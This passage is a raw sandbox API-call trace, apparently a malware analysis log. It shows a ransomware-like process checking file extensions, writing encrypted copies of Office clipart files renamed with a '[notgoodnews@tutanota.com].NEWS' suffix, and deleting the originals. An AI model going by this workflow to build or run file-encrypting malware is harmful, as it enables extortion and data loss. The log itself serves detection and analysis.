(lpString=".rar") returned 4 [0233.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.552] lstrlenW (lpString=".bz2") returned 4 [0233.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.552] lstrlenW (lpString=".7z") returned 3 [0233.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0233.552] lstrlenW (lpString=".dbf") returned 4 [0233.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0233.553] lstrlenW (lpString=".1cd") returned 4 [0233.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0233.553] lstrlenW (lpString=".jpg") returned 4 [0233.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0233.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0233.553] lstrlenW (lpString=".doc") returned 4 [0233.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.553] lstrlenW (lpString=".docx") returned 5 [0233.553] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.554] lstrlenW (lpString=".pdf") returned 4 [0233.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.554] lstrlenW (lpString=".xls") returned 4 [0233.554] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.554] lstrlenW (lpString=".xlsx") returned 5 [0233.554] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.554] lstrlenW (lpString=".ppt") returned 4 [0233.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0233.554] lstrlenW (lpString=".zip") returned 4 [0233.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.554] lstrlenW (lpString=".rar") returned 4 [0233.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.555] lstrlenW (lpString=".bz2") returned 4 [0233.555] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.555] lstrlenW (lpString=".7z") returned 3 [0233.555] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0233.555] lstrlenW (lpString=".dbf") returned 4 [0233.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0233.555] lstrlenW (lpString=".1cd") returned 4 [0233.555] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 63 [0233.555] lstrlenW (lpString=".jpg") returned 4 [0233.555] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.557] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0233.557] lstrlenW (lpString="AN00932_.WMF") returned 12 [0233.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0233.559] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=14428) returned 1 [0233.559] CloseHandle (hObject=0x3b0) returned 1 [0233.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20 [0233.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0233.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0233.564] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0233.564] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0233.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0233.565] GetLastError () returned 0x0 [0233.565] ReadFile (in: hFile=0x3b0, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x385c, lpOverlapped=0x0) returned 1 [0233.570] WriteFile (in: hFile=0x370, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x3860, lpOverlapped=0x0) returned 1 [0233.575] ReadFile (in: hFile=0x3b0, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0233.575] WriteFile (in: hFile=0x370, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.575] SetEndOfFile (hFile=0x370) returned 1 [0233.575] CloseHandle (hObject=0x370) returned 1 [0233.576] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0233.576] SetEndOfFile (hFile=0x3b0) returned 1 [0233.583] CloseHandle (hObject=0x3b0) returned 1 [0233.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0233.584] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0233.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0233.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0233.591] lstrlenW (lpString=".doc") returned 4 [0233.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.591] lstrlenW (lpString=".docx") returned 5 [0233.591] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.591] lstrlenW (lpString=".pdf") returned 4 [0233.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.591] lstrlenW (lpString=".xls") returned 4 [0233.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.591] lstrlenW (lpString=".xlsx") returned 5 [0233.592] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.592] lstrlenW (lpString=".ppt") returned 4 [0233.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0233.592] lstrlenW (lpString=".zip") returned 4 [0233.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.592] lstrlenW (lpString=".rar") returned 4 [0233.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.592] lstrlenW (lpString=".bz2") returned 4 [0233.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.592] lstrlenW (lpString=".7z") returned 3 [0233.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0233.593] lstrlenW (lpString=".dbf") returned 4 [0233.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0233.593] lstrlenW (lpString=".1cd") returned 4 [0233.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0233.593] lstrlenW (lpString=".jpg") returned 4 [0233.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0233.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0233.594] lstrlenW (lpString=".doc") returned 4 [0233.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.594] lstrlenW (lpString=".docx") returned 5 [0233.594] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.594] lstrlenW (lpString=".pdf") returned 4 [0233.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.594] lstrlenW (lpString=".xls") returned 4 [0233.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.594] lstrlenW (lpString=".xlsx") returned 5 [0233.594] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.594] lstrlenW (lpString=".ppt") returned 4 [0233.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0233.595] lstrlenW (lpString=".zip") returned 4 [0233.595] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.595] lstrlenW (lpString=".rar") returned 4 [0233.595] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.595] lstrlenW (lpString=".bz2") returned 4 [0233.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.595] lstrlenW (lpString=".7z") returned 3 [0233.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0233.595] lstrlenW (lpString=".dbf") returned 4 [0233.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0233.595] lstrlenW (lpString=".1cd") returned 4 [0233.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0233.596] lstrlenW (lpString=".jpg") returned 4 [0233.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.596] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0233.596] lstrlenW (lpString="AN00965_.WMF") returned 12 [0233.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0233.597] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=7072) returned 1 [0233.597] CloseHandle (hObject=0x3b0) returned 1 [0233.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20 [0233.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0233.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0233.599] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0233.599] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0233.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0233.600] GetLastError () returned 0x0 [0233.600] ReadFile (in: hFile=0x3b0, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0233.846] WriteFile (in: hFile=0x370, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0233.850] ReadFile (in: hFile=0x3b0, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0233.850] WriteFile (in: hFile=0x370, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.850] SetEndOfFile (hFile=0x370) returned 1 [0234.927] CloseHandle (hObject=0x370) returned 1 [0235.738] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0235.738] SetEndOfFile (hFile=0x3b0) returned 1 [0235.746] CloseHandle (hObject=0x3b0) returned 1 [0235.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0236.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0236.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0236.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0236.086] lstrlenW (lpString=".doc") returned 4 [0236.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.086] lstrlenW (lpString=".docx") returned 5 [0236.086] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0236.086] lstrlenW (lpString=".pdf") returned 4 [0236.087] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.087] lstrlenW (lpString=".xls") returned 4 [0236.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.087] lstrlenW (lpString=".xlsx") returned 5 [0236.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0236.087] lstrlenW (lpString=".ppt") returned 4 [0236.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0236.087] lstrlenW (lpString=".zip") returned 4 [0236.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.087] lstrlenW (lpString=".rar") returned 4 [0236.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.087] lstrlenW (lpString=".bz2") returned 4 [0236.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.088] lstrlenW (lpString=".7z") returned 3 [0236.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0236.088] lstrlenW (lpString=".dbf") returned 4 [0236.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0236.088] lstrlenW (lpString=".1cd") returned 4 [0236.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0236.088] lstrlenW (lpString=".jpg") returned 4 [0236.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0236.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0236.089] lstrlenW (lpString=".doc") returned 4 [0236.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.089] lstrlenW (lpString=".docx") returned 5 [0236.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0236.089] lstrlenW (lpString=".pdf") returned 4 [0236.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.089] lstrlenW (lpString=".xls") returned 4 [0236.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.089] lstrlenW (lpString=".xlsx") returned 5 [0236.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0236.090] lstrlenW (lpString=".ppt") returned 4 [0236.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0236.090] lstrlenW (lpString=".zip") returned 4 [0236.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.090] lstrlenW (lpString=".rar") returned 4 [0236.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.090] lstrlenW (lpString=".bz2") returned 4 [0236.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.090] lstrlenW (lpString=".7z") returned 3 [0236.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0236.091] lstrlenW (lpString=".dbf") returned 4 [0236.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0236.091] lstrlenW (lpString=".1cd") returned 4 [0236.091] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0236.091] lstrlenW (lpString=".jpg") returned 4 [0236.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.092] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0236.092] lstrlenW (lpString="AN01084_.WMF") returned 12 [0236.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0236.093] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=1832) returned 1 [0236.093] CloseHandle (hObject=0x370) returned 1 [0236.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20 [0236.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0236.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0236.094] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0236.094] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0236.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0236.095] GetLastError () returned 0x0 [0236.095] ReadFile (in: hFile=0x370, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x728, lpOverlapped=0x0) returned 1 [0236.100] WriteFile (in: hFile=0x1c0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x730, lpOverlapped=0x0) returned 1 [0236.103] ReadFile (in: hFile=0x370, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0236.103] WriteFile (in: hFile=0x1c0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0236.103] SetEndOfFile (hFile=0x1c0) returned 1 [0236.103] CloseHandle (hObject=0x1c0) returned 1 [0236.104] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0236.104] SetEndOfFile (hFile=0x370) returned 1 [0236.111] CloseHandle (hObject=0x370) returned 1 [0236.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0236.112] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0236.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0236.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0236.113] lstrlenW (lpString=".doc") returned 4 [0236.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.113] lstrlenW (lpString=".docx") returned 5 [0236.113] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0236.113] lstrlenW (lpString=".pdf") returned 4 [0236.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.113] lstrlenW (lpString=".xls") returned 4 [0236.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.113] lstrlenW (lpString=".xlsx") returned 5 [0236.113] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0236.113] lstrlenW (lpString=".ppt") returned 4 [0236.113] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0236.114] lstrlenW (lpString=".zip") returned 4 [0236.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.114] lstrlenW (lpString=".rar") returned 4 [0236.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.114] lstrlenW (lpString=".bz2") returned 4 [0236.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.512] lstrlenW (lpString=".7z") returned 3 [0236.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0236.512] lstrlenW (lpString=".dbf") returned 4 [0236.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0236.513] lstrlenW (lpString=".1cd") returned 4 [0236.513] 